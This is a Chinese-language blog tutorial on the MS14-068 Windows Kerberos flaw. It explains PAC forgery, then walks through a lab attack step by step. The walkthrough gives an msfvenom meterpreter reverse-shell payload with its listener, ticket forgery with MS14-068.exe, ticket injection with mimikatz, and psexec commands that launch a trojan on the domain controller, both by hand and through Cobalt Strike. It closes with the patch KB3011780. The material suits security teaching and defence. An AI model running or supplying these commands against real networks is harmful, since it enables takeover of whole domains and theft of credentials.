文章摘要
TianliGPT
生成中...

本文最后更新于 2024-07-26,文章内容可能已经过时。

MS14-068 提权漏洞

免责声明

⚠特别说明:此教程为纯技术教学!严禁利用本教程所提到的漏洞和技术进行非法攻击,本教程的目的仅仅作为学习,决不是为那些怀有不良动机的人提供技术支持!也不承担因为技术被滥用所产生的连带责任!⚠

前置知识:

PTH 攻击 :

如果说 我们 域控管理员 没有登录 域主机 ,无法获取登录的密码的hash码 , PTH攻击无法使用

PTT 攻击:

PTH : 利用的是NTLM的登录机制 进行的一种攻击

PTT :票据传递攻击 利用的是 Kerberos 登录认证机制

票据传递攻击(Pass The Ticket,PTT)是一种使用 Kerberos 票据代替明文密码或 NTLM 哈希的方法。PTH基于 NTLM 认证进行攻击,而 PTT 基于 Kerberos 协议进行攻击票据传递攻击,目的是伪造、窃取凭据提升权限。
Undefined

常用的攻击方式:MS14-068、黄金票据、白银票据、钻石票据等。

利用伪造票据的方式进行攻击

一、MS14-068 漏洞

1、漏洞简介
2014年11月18 日,微软发布 MS14-068 补丁,修复了一个影响全部版本 Windows 服务器的严重漏洞。用于解决 Microsoft Windows Kerberos KDC 漏洞,该漏洞允许黑客提升任意普通用户权限成为域管理员身份。攻击者可以利用这些提升的权限控制域中所有的计算机,包括域服务器。
YAML

受影响版本:Windows Server 2003、Windows Vista、Windows Server 2008、Windows 7、Windows 8 and Windows 8.1、Windows Server 2012(以上系列的部分版本)

微软官方公告:https://docs.microsoft.com/en-us/security-updates/securitybulletins/2014/ms14-068

漏洞利用前提:

  • 域控制器系统为受影响的版本,且没有打MS14-068的补丁(KB3011780)。
  • 能操作一台域内的普通计算机,并获得普通域用户以及密码/hash值,以及用户的suid (简单说就是拿下一台域内主机)
2、PAC
微软在Windows平台上对Kerberos协议进行了一些扩充,其中最重要的扩充就是增加了认证过程中的权限认证,也就是在协议中增加了PAC(Privilege Attribute Certificate),特权属性证书。
Undefined
在一个域中,通过 User 的 SID 和所在组 Group 的 SID 来确定该用户所拥有的权限。所以 PAC 包含 Client 的 User 的 SID、Group 的 SID。PAC 为了保证自身的合法性,还包含 2 个签名。
SQL
1)Client 向 AS 请求认证,验证完Client的身份后,AS 在返回 TGT(黄金票据) 时,生成 PAC,以及用于确保 PAC 不被篡改的两个签名,一个签名的密钥为 KDC用户(krbtgt) 的 NTLM Hash,另一个签名的密钥为 Server 的 NTLM Hash,而签名的内容主要为 User SID、Group SID 。
VB.Net

客户端登录 ,(AS服务)认证成功之后 ,发放了一个TGT(黄金票据),生成一个PAC (两个NTLM :krbtgt、普通账户)

image-20240622171511691

2)Client向 TGS 发送请求,来获取访问 Server的Ticket 。TGS 对TGS Request 中的 TGT 解密,并通过两个签名来验证 PAC 的合法性。若验证通过,TGS 会重新生成两个新的签名保证 PAC 不被篡改。第一个签名的密钥为 Server 的 NTLM Hash,第二个密钥为 Server 与 Client 的临时会话密钥 Session Key(Server-Client)。新的 PAC 会被放置在签发的访问票据 Ticket 中,使用 Server 的 NTLM Hash进行加密。
VB.Net

验证 TGT 以及 PAC :如果成功 ,又发送一个票据 (白银票据)

image-20240622171454366

(3)Client 使用 Ticket 向 Server 请求相应的资源, Server收到请求,将 Ticket 解密并验证,校验 PAC 中的两个签名,验证 PAC 的合法性,之后根据 PAC 得知Client的权限,让其访问对应资源。
Undefined
3、漏洞产生原理
Client 在向 AS 发送请求时,可以设置一个名为 include-pac 的字段为 False,而后 AS 生成的 TGT 并不会含有PAC,该字段默认为 True。在 Client 收到不含 PAC 的 TGT 后,可以添加一个 PAC 放于TGS Request 的数据包中,而 TGS 收到这个请求的数据包时,仍能正确解析出放在 TGS Request 中其他位置的 PAC 信息,因为 KDC 允许用户使用这样的构造。
VB.Net
在 KDC 对 PAC 进行验证时,对于PAC中的签名算法,虽然原则上规定使用密钥加密的签名算法,但微软在实际场景中却允许 Client 指定任意签名算法。所以Client 构造一个PAC,其中添加高权限的User SID 与 Group SID信息,并指定使用MD5进行签名,只要TGS Requset 数据不丢失,那么该伪造的 PAC 就能被验证通过。
SQL
PAC 验证通过后,KDC 会将 PAC 中的 User SID、Group SID 取出来,重新使用KDC用户(krbtgt) 的 NTLM Hash 和 Server 的 NTLM Hash 分别生成两个新的签名。之后生成一个新的 TGT ,并把 PAC放入其中,加密后发送给 Client,而不是发送 Ticket 给Client。
SQL

image-20240622171434984

二、漏洞复现

1、 实验环境:

域 :xiaoe.com

域控制器(DC) : Windows 2008 R2 (IP:192.168.91.153)

域内计算机 :Windows 7 (IP:192.168.91.133)

普通域用户 :zhangsan

MS14-068漏洞利用工具 :MS14-068.exe (https://github.com/abatchy17/WindowsExploits/tree/master/MS14-068)

Windows 密码获取工具 :mimikatz.exe (可以利用CS获取 或者 使用 MSF自带的 )

2、复现过程:

首先拿下win7这台域内主机:

制作木马并上传:

msfvenom -p windows/x64/meterpreter/reverse_tcp lhost8.91.129 lport=5555 -f exe -o win7.exe
Bash

开启监听,木马上线

msfconsole
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
show options
set lhost 192.168.91.129
set port 5555
run
Bash

image-20240622164814391

1、域信息获取

使用 net time /domain 命令查看所在域的时间与域服务器的名字 :

image-20240622165100660

使用 ipconfig /all ,查看DNS服务器地址,单域中DNS与DC一般在同一服务器上

image-20240622165152893

可以使用ping 命令进行校验

image-20240622165250178

域 : xiaoe.com
域服务器名称 : \\web.xiaoe.com
DC 的IP : 192.168.91.153
Undefined

2、获取用户 SID ,使用命令:whoami /user

image-20240622165426637

用户SID : S-1-5-21-1443003717-4130318662-4279967973-1104
Bash

3、使用MS14-068生成伪造的 kerberos 协议票据:

使用命令为:

MS14-068.exe -u 用户名@域 -p 用户密码 -s 用户SID -d DC的IP
MS14-068.exe -u zhangsan@xiaoe.com -p Xiaoe111 -s S-1-5-21-1443003717-4130318662-4279967973-1104 -d 192.168.91.153
Bash

image-20240622174101285

会生成一个“ccache”格式的文件(伪造的票据文件),存放于MS14-068.exe的工作目录下。

image-20240622174128953

4、尝试访问域服务器的C盘,此时访问失败,因为我们还需要将票据导入。

image-20220225121338335

5、使用mimikatz工具删除缓存的票据,并将伪造的票据导入内存。

mimikatz :一款 Windows 密码获取工具,可以帮助用户提取出电脑中的登录凭证。可以从内存中提取明文密码、哈希、PIN 码和 kerberos 票证等,还有哈希传递、票证传递或构建黄金票证等功能。
Undefined

(1)查看内存中已有的Kerberos票据:

kerberos::list
Cmd

image-20240622174536818

(2)删除缓存票据:

kerberos::purge
Cmd

image-20240622174620019

(3)导入伪造的票据:

kerberos::ptc [票据存放路径]
kerberos::ptc  c:\tools\TGT_zhangsan@xiaoe.com.ccache
Cmd

image-20240622174729584

6、再次访问域服务器的C盘,此时可以访问,说明普通域用户提权成功。

image-20240622175139695

使用psexec完成反弹Shell: psexec.exe \\dcadmin cmd.exe 后续操作与PTH部分的内容相同。

三、在CS中提权

1、先上线域客户机Windows7(域普通用户登录时),再使用插件调用MS14-058完成本机提权,获取用户Hash和密码。

image-20230814015948023

如果目标系统不显示明文密码,插件也可以修改注册表获取明文密码。

image-20230814015800978

2、完成后将MS14-068.exe文件到Windows7的C:\Tools目录下(或任意其他目录)

3、利用MS14-068完成本机提权,获取本机登录账户信息和凭证(使用域用户上线的主机,不要使用提权后的主机,该主机仅用于获取密码Hash)。

beacon> shell cd C:\Tools
beacon> shell MS14-068.exe -u zhangsan@xiaoe.com -p Xiaoe111 -s S-1-5-21-1443003717-4130318662-4279967973-1104 -d 192.168.91.153
# 确认在C:\Tools目录下生成了:C:\Tools\TGT_zhangsan@woniuxy.com.ccache 文件
Shell

image-20240622175901308

4、在CS中运行Mimikatz命令,完成权限获取。

beacon> mimikatz kerberos::list    # 查看原来的票据
beacon> mimikatz kerberos::purge    #清空原来的票据
beacon> mimikatz kerberos::ptc C:\tools\TGT_zhangsan@xiaoe.com.ccache
beacon> shell dir \\web\c$
Ruby

image-20240622180207541

5、控制域控后,运行各种木马上线的命令拿下域控。

beacon> shell c:\Tools\PSTools\psexec.exe /accepteula /s \\dcadmin cmd.exe /c "C:\Tools\xiaoe.exe"
Shell

拿下域控后,可以利用域控管理员账户登录任意其他域客户机,实现全域控制。

image-20240622180320463

四、 修复方法

下载微软官方的MS14-068漏洞的补丁,补丁为KB3011780。安装后,使用 systeminfo 命令查看系统信息总共已安装的修补程序,即可查看是否成功安装补丁。